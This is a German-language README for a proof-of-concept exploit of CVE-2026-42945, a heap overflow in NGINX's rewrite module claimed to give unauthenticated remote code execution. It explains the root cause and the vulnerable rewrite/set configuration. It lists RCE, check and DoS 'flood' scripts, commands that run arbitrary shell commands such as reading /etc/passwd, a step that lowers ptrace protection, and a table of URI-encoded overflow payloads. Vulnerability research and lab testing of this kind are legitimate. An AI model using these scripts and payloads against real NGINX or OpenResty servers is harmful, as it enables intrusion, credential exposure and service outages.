
Proof-of-Concept-Exploit für CVE-2026-42945, einen kritischen Heap-Überlauf im NGINX-Rewrite-Modul, der eine nicht authentifizierte Remote-Codeausführung durch manipulierte URI-Kodierung ermöglicht. Enthält eine Docker-basierte Testumgebung, ASAN-Validierung und mehrere Exploit-Skripte.
RCE bestätigt erfolgreich — Durch Heap-Overflow + GDB-Prozess-Injection werden beliebige Befehle im NGINX / OpenResty Worker-Prozess ausgeführt.
# Ein-Klick-Build des NGINX-Images + RCE-Test ausführen
./run.sh nginx
# Ein-Klick-Build des OpenResty-Images + RCE-Test ausführen
./run.sh openresty
# Benutzerdefinierter Befehl
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| Eigenschaft | Wert |
|---|---|
| CVE-Nummer | CVE-2026-42945 |
| Schwachstellentyp | Heap-Pufferüberlauf → Remote Code Execution (RCE) |
| Betroffene Komponente | ngx_http_rewrite_module |
| Betroffene Versionen | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| Schwachstellenbewertung | CVSS 9.4 (CRITICAL) |
| Ausnutzungsbedingungen | Keine Authentifizierung; RCE erfordert ptrace-Berechtigungen (root) |
ngx_http_script_complex_value_code() weist Puffer basierend auf der Länge nach dem Dekodieren der URI zu, aber ngx_http_script_copy_capture_code() ruft ngx_escape_uri() auf, das basierend auf der Länge nach dem Kodieren schreibt. URL-kodierte Zeichen werden um das 3-fache aufgebläht → Heap-Überlauf.
Drei Bedingungen müssen gleichzeitig erfüllt sein:
rewrite- und set-Direktiven in derselben locationrewrite-Ersetzungszeichenfolge enthält ?set referenziert die Erfassungsvariable $1 von rewritelocation ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # enthält '?'
set $original_endpoint $1; # referenziert $1
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # Ein-Klick-Build + Test-Einstieg
├── README.md
│
├── scripts/ # Test- & Exploit-Skripte
│ ├── rce.sh # Reines Shell-RCE (curl + GDB, kein Python)
│ ├── exploit_rce.py # Python RCE (kompatibel mit 2.7/3.x)
│ ├── exploit.py # PoC-Hauptskript (check/exploit/rce/flood)
│ └── exploit_asan.py # ASAN-Vollscan
│
├── package/ # Bereitstellungs- & Orchestrierungsdateien
│ ├── Dockerfile.rce # NGINX-Quellcode-Kompilierung + RCE-Umgebung
│ ├── Dockerfile.openresty.rce # OpenResty-Quellcode-Kompilierung + RCE-Umgebung
│ ├── Dockerfile # Basis-Image (Alpine)
│ ├── Dockerfile.asan # ASAN-Debug-Image
│ ├── docker-compose.yml # Docker-Orchestrierung (nginx-rce + openresty-rce)
│ ├── nginx.conf # NGINX-Schwachstellenkonfiguration
│ ├── nginx-openresty.conf # OpenResty-Schwachstellenkonfiguration
│ ├── start_rce.sh # NGINX RCE-Container-Startskript
│ └── start_openresty_rce.sh # OpenResty RCE-Container-Startskript
│
└── src/ # Quellcode (für Kompilierung)
├── nginx-1.26.3/ # NGINX 1.26.3 Quellcode
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # OpenResty 1.25.3.1 (integriert nginx/1.25.3)
# Shell-Skript (keine Python-Abhängigkeit)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Python-Skript (kompatibel mit 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# OpenResty analog
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# Innerhalb des Containers:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# Erfordert root + ptrace-Berechtigungen
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # Schwachstelle erkennen
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # ASAN Heap-Überlauf-Verifikation
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # RCE-Risikobewertung
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # DoS-Stresstest
rewrite (mit ?) + set (Referenzierung $1)%25/%3f/%23/%26echo 1 > /proc/sys/kernel/yama/ptrace_scope| Payload | Beschreibung | Ergebnis |
|---|
/api/%25 × N | kodiertes % | ✅ Heap-Überlauf |
/api/%3f × N | kodiertes ? | ✅ Heap-Überlauf |
/api/%23 × N | kodiertes # | ✅ Heap-Überlauf |
/api/%26 × N | kodiertes & | ✅ Heap-Überlauf |